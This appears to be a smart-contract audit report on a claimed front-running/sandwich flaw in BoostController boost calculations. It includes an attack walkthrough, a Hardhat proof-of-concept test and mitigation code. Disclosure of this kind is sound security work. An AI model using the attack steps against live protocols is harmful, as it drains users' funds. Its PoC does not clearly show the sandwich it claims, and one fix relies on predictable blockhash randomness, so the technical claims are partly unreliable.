Summary
The BoostController
and GaugeController
contracts expose critical internal boost calculation parameters that allow attackers to predict and exploit boost updates in the mempool by sandwich attacking users' transactions.
Vulnerability Details
The core issue exists in multiple files:
contract BoostController {
struct BoostParameters {
uint256 maxBoost;
uint256 minBoost;
uint256 boostWindow;
uint256 totalWeight;
uint256 totalVotingPower;
uint256 votingPower;
}
function calculateBoost(
address user,
address pool,
uint256 amount
) external view returns (uint256 boostBasisPoints, uint256 boostedAmount) {
if (!supportedPools[pool]) revert UnsupportedPool();
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userVotingPower = veToken.getVotingPower(user, block.timestamp);
BoostParameters memory params = BoostParameters({
maxBoost: state.maxBoost,
minBoost: state.minBoost,
boostWindow: state.boostWindow,
totalWeight: totalWeight,
totalVotingPower: totalVotingPower,
votingPower: votingPower
});
return BoostCalculator.calculateTimeWeightedBoost(
params,
userVotingPower,
totalVotingPower,
amount
);
}
}
library BoostCalculator {
function calculateTimeWeightedBoost(
BoostParameters memory params,
uint256 userBalance,
uint256 totalSupply,
uint256 amount
) internal pure returns (uint256 boostBasisPoints, uint256 boostedAmount) {
boostBasisPoints = calculateBoost(
userBalance,
totalSupply,
params
);
boostedAmount = (amount * boostBasisPoints) / 10000;
return (boostBasisPoints, boostedAmount);
}
}
Tools Used
Proof of Concept
Attack Scenario Walkthrough
The exploit takes advantage of predictable boost parameters through a carefully orchestrated sandwich attack:
-
Initial Setup Phase:
Attacker monitors the mempool for large stake transactions or boost updates
Target User sets up stake position in gauge
System has normal boost parameters set
-
Attack Prerequisites:
Enough capital for front-running transactions
Ability to calculate optimal boost parameters
Access to read mempool data
-
Attack Execution:
Attacker identifies a target transaction with significant stake amount
Using calculateBoost
, attacker predicts next block's parameters
Front-run target tx with minimal stake but optimal boost timing
Allow target transaction to execute with manipulated parameters
Back-run with another transaction maximizing boost differential
Extract profit through elevated rewards from manipulated boost
-
Example Attack Sequence:
User tries to stake 100,000 tokens with expected 2x boost
Attacker front-runs with 1,000 token stake
User's transaction processes with reduced boost (1.5x)
Attacker back-runs with boost optimization
Result: User gets less boost, attacker profits from difference
This attack is particularly dangerous because it:
Can be executed repeatedly
Requires no special permissions
Is difficult to detect
Systematically drains value from user operations
The following PoC demonstrates this attack sequence programmatically...
import { expect } from "chai";
import { ethers } from "hardhat";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import {
BoostController,
GaugeController,
VeRAACToken,
MockERC20,
RAACGauge
} from "../typechain-types";
describe("Boost Parameter Front-Running Attack", () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let user: SignerWithAddress;
let boostController: BoostController;
let gaugeController: GaugeController;
let veToken: VeRAACToken;
let rewardToken: MockERC20;
let gauge: RAACGauge;
const INITIAL_SUPPLY = ethers.utils.parseEther("1000000");
const LOCK_AMOUNT = ethers.utils.parseEther("100000");
const STAKE_AMOUNT = ethers.utils.parseEther("50000");
beforeEach(async () => {
[owner, attacker, user] = await ethers.getSigners();
const MockERC20Factory = await ethers.getContractFactory("MockERC20");
rewardToken = await MockERC20Factory.deploy("Reward", "RWD");
const VeTokenFactory = await ethers.getContractFactory("VeRAACToken");
veToken = await VeTokenFactory.deploy(rewardToken.address);
const BoostControllerFactory = await ethers.getContractFactory("BoostController");
boostController = await BoostControllerFactory.deploy(veToken.address);
const GaugeControllerFactory = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeControllerFactory.deploy(veToken.address);
const GaugeFactory = await ethers.getContractFactory("RAACGauge");
gauge = await GaugeFactory.deploy(
rewardToken.address,
rewardToken.address,
gaugeController.address
);
await rewardToken.mint(owner.address, INITIAL_SUPPLY);
await rewardToken.approve(veToken.address, INITIAL_SUPPLY);
await veToken.lock(LOCK_AMOUNT, 365 * 24 * 3600);
});
it("Should demonstrate boost parameter front-running", async () => {
console.log("\n--- Starting Boost Parameter Front-Running Attack ---");
const largeStake = STAKE_AMOUNT;
const [initialBoostPoints, initialBoosted] = await boostController.calculateBoost(
user.address,
gauge.address,
largeStake
);
console.log("Initial boost parameters:");
console.log(`- Boost Points: ${initialBoostPoints}`);
console.log(`- Boosted Amount: ${ethers.utils.formatEther(initialBoosted)}`);
const attackerStake = ethers.utils.parseEther("1");
await rewardToken.connect(attacker).approve(gauge.address, attackerStake);
await gauge.connect(attacker).stake(attackerStake);
await rewardToken.connect(user).approve(gauge.address, largeStake);
await gauge.connect(user).stake(largeStake);
const [finalBoostPoints, finalBoosted] = await boostController.calculateBoost(
attacker.address,
gauge.address,
attackerStake
);
console.log("\nAfter attack:");
console.log(`- Attacker Boost Points: ${finalBoostPoints}`);
console.log(`- Attacker Boosted Amount: ${ethers.utils.formatEther(finalBoosted)}`);
const victimBoost = await boostController.calculateBoost(
user.address,
gauge.address,
largeStake
);
expect(victimBoost[0]).to.be.lt(initialBoostPoints);
console.log(`\nVictim boost reduced by: ${initialBoostPoints.sub(victimBoost[0])} points`);
const attackerRewards = await gauge.earned(attacker.address);
console.log(`Attacker extracted rewards: ${ethers.utils.formatEther(attackerRewards)}`);
});
});
Impact
Attackers can front-run and extract value from users' boost parameter updates
Unfair reward distribution
Economic loss for legitimate users
Gaming of the boost mechanism
Recommended Mitigation
Add commit-reveal scheme for boost updates:
contract BoostController {
mapping(address => bytes32) public boostCommits;
mapping(address => uint256) public commitTimestamps;
uint256 public constant COMMIT_DELAY = 1 hours;
function commitBoostUpdate(bytes32 commitHash) external {
boostCommits[msg.sender] = commitHash;
commitTimestamps[msg.sender] = block.timestamp;
emit BoostCommitted(msg.sender, commitHash);
}
function revealBoostUpdate(
uint256 newBoost,
bytes32 salt
) external {
bytes32 commit = boostCommits[msg.sender];
require(commit != bytes32(0), "No commit found");
require(
block.timestamp >= commitTimestamps[msg.sender] + COMMIT_DELAY,
"Commit delay not elapsed"
);
require(
keccak256(abi.encodePacked(newBoost, salt)) == commit,
"Invalid reveal"
);
updateUserBoost(msg.sender, newBoost);
delete boostCommits[msg.sender];
delete commitTimestamps[msg.sender];
}
}
Add minimum delays between boost updates:
mapping(address => uint256) public lastBoostUpdate;
uint256 public constant MIN_BOOST_DELAY = 6 hours;
function updateUserBoost(address user, uint256 newBoost) internal {
require(
block.timestamp >= lastBoostUpdate[user] + MIN_BOOST_DELAY,
"Boost update too soon"
);
lastBoostUpdate[user] = block.timestamp;
}
Add random factor to boost calculations:
function calculateBoost(...) internal view returns (uint256) {
uint256 randomSeed = uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1),
msg.sender,
block.timestamp
)));
uint256 randomFactor = 950 + (randomSeed % 100);
uint256 baseBoost = _calculateBaseBoost(...);
return (baseBoost * randomFactor) / 1000;
}
This attack requires deep understanding of the boost mechanics and mempool manipulation. The fix needs careful consideration to not impact legitimate users while preventing exploitation.n.